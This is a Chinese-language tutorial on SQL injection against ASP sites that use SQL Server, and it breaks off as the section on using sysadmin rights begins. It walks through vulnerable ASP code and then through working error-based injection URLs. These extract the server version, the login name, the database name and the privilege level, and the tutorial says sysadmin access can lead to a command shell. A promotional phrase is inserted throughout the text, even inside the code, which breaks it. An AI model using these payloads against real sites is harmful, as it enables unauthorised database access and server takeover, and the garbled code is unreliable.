基于SQL Server的WEB应用程序注入攻击详细介绍

核心提示：随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多，基于SQL Server的WEB应用程序注入攻击详细介绍，但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，有很大的可能性可以在这台sql server(WINDOWS平台上强大的数据库平台)上运行cmd shell，如果是db_ow

　　随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL注入(SQL Injection)。

SQL 注入攻击是一个常规性的攻击，它可以允许一些不法用户检索你的数据，改变服务器的设置，或者在你不小心的时候黑掉你的服务器。SQL 注入攻击不是sql server(WINDOWS平台上强大的数据库平台)问题，而是不适当的程序。如果你想要运行这些程序的话，你必须明白这冒着一定的风险。



一、原理

了解SQL注入之前先要了解一些基本的B/S模式应用程序的知识，以及浏览器与服务器交互的相关知识。根据国情，国内的网站用ASP+Access或sql server(WINDOWS平台上强大的数据库平台)的占70%以上，PHP+MySQL(和PHP搭配之最佳组合)占20%，其他的不足10%。对于ASP+sql server(WINDOWS平台上强大的数据库平台)的应用程序结构，一个ASP程序实际上是sql server(WINDOWS平台上强大的数据库平台)的一个客户端，它需要一个合法的SQL登录名和密码去连接sql server(WINDOWS平台上强大的数据库平台)数据库。下面一段代码是典型的在ASP中连接sql server(WINDOWS平台上强大的数据库平台)的例子：

<%rServer="IBM-WEB-01" '设置sql server(WINDOWS平台上强大的数据库平台)服务器地址

rUid="webuser" '设置sql server(WINDOWS平台上强大的数据库平台)登录名

rPwd="xxxxxxxxf" '设置sql server(WINDOWS平台上强大的数据库平台)登录密码

rDatabase="sitelog" '设置sql server(WINDOWS平台上强大的数据库平台)数据库名

set conn=Server.CreateObject("ADODB.Connection")

strconn="driver={sql server(WINDOWS平台上强大的数据库平台)};server=" & rServer & ";uid=" & rUid & ";pwd=" & rPWD & ";database=" & rDatabase

conn.open strconn%>


SQL 注入的脆弱点发生在程序开发员构造一个WHERE 子句伴随着用户的输入的时候。比如，下面列出一个简单的ASP程序article_show.ASP，它的功能是跟据GET获得的参数ID显示数据库info_article表中相应ID值的文章内容。

<%strID=Trim(Request.QueryString("ID"))

strSQL="select * from info_article where ID=" & strID

set rs=server.CreateObject("ADODB.Recordset")

rs.open strSQL,conn,1,3%>

<table width="100%" border="0" cellpadding="10" cellspacing="1" class="table1">

<tr class="trtitle">

<td><div align="center"><%=rs("title")%><br></div></td>

</tr>

<tr class="trcontent">

<td><%=rs("content")%></td>

</tr>

</table>


请注意strSQL="select * from info_article where ID=" & strID这一句。实际运行时，客户端应当使用类似http://www.abc.com/article_show.ASP?ID=12这样的URL访问此ASP程序，当ID为数字12时，strID的值为字符型“12”，VBScript中“&”运算符可以连接任意类型的数据，经过&的连接后，可以得到strSQL字串的值：select * from info_article where ID=12，可以看出这是一个正常的SQL语句。VBScript是一种弱类型语言，不需声明变量的类型（甚至不需声明变量），这有时会给编程者带来方便，但也容易在编程过程中产生不少可被利用的漏洞。正由于在此程序中没有限定变量strID的类型，因而使这个程序存在SQL注入的漏洞。

二、测试

现在试着在浏览器中输入下面的URL“http://www.abc.com/article_show.ASP?ID=12’”，此时类比上面的介绍得到strSQL字串的值为：select * from info_article where ID=12’，这在sql server(WINDOWS平台上强大的数据库平台)中是一句非法的查询语句。这时服务器将返回如下的错误：

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC sql server(WINDOWS平台上强大的数据库平台) Driver][sql server(WINDOWS平台上强大的数据库平台)]字符串 '' 之前有未闭合的引号。


出现这种错误就已经说明这个网站百分百可以进行注入攻击了。

有些时候服务器显示“处理URL时服务器上出错”是因为IIS设置中关闭了向客户端发送详细出错信息，这时不一定不能注入，但相对来讲困难极大，只能碰运气了。

有些时候服务器显示的内容还是ID=12的内容，没有任何出错信息，这可能是开发者过滤掉了单引号，可以使用下面的方法进行尝试：“article_show.ASP?ID=12 and 1=2”，此时如果出现下面的错误，还是有可能进行注入的。

错误 '80020009'

发生意外。


注意：出现下面的错误信息时肯定无法完成注入：

Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'cint'




Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'clng'




Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'cdbl'




Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'c'




非法的参数值。




请输入正确的参数值。


ADODB.Parameter error '800a0d5d'

Application uses a value of the wrong type for the current operation.





三、搜集信息

确定可以实施注入攻击后，可以使用下面的方法对服务器进行测试。



测试sql server(WINDOWS平台上强大的数据库平台)版本：

article_show.ASP?ID=(SELECT @@VERSION)

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC sql server(WINDOWS平台上强大的数据库平台) Driver][sql server(WINDOWS平台上强大的数据库平台)]将 nvarchar 值 'Microsoft sql server(WINDOWS平台上强大的数据库平台) 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。




测试sql server(WINDOWS平台上强大的数据库平台)当前的登录用户名：

article_show.ASP?ID=(USER_NAME())

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC sql server(WINDOWS平台上强大的数据库平台) Driver][sql server(WINDOWS平台上强大的数据库平台)]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。


注意：如果是以sa登录的在这里将显示dbo。



测试sql server(WINDOWS平台上强大的数据库平台)当前使用的数据库名称：

article_show.ASP?ID=(DB_NAME())

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC sql server(WINDOWS平台上强大的数据库平台) Driver][sql server(WINDOWS平台上强大的数据库平台)]将 nvarchar 值 'sitelog' 转换为数据类型为 int 的列时发生语法错误。




测试当前用户是否为“sysadmin”组成员

SELECT IS_SRVROLEMEMBER('sysadmin')这句SQL语句可用来测试当前登录的用户是否为sysadmin的服务器角色，如果是将返回值1，不是的话返回值0。这里要将其转变为字符型数据才能看到具体数值。因此写下面的URL：（其中char(115)为字符’s’，%2B为加号(+)的UTF-8编码。）

article_show.ASP?ID=(SELECT CHAR(115) %2B CAST(IS_SRVROLEMEMBER('sysadmin') AS VARCHAR(2)))

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC sql server(WINDOWS平台上强大的数据库平台) Driver][sql server(WINDOWS平台上强大的数据库平台)]将 varchar 值 's0' 转换为数据类型为 int 的列时发生语法错误。


如果显示s0则不是’sysadmin’组成员，如果是’1’是’sysadmin’组成员。



测试当前用户是否为“db_owner”组成员。

article_show.ASP?ID=(SELECT CHAR(115) %2B CAST(IS_MEMBER('db_owner') AS VARCHAR(2)))

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC sql server(WINDOWS平台上强大的数据库平台) Driver][sql server(WINDOWS平台上强大的数据库平台)]将 varchar 值 's1' 转换为数据类型为 int 的列时发生语法错误。




至此已经获取了许多有价值的信息。如果测试出当前用户为sysadmin组成员的话，有很大的可能性可以在这台sql server(WINDOWS平台上强大的数据库平台)上运行cmd shell。如果是db_owner则可以对当前连接的数据库进行任意的操作，如新建表、删除表、插入数据、读取数据等等。



四、sysadmin权限的用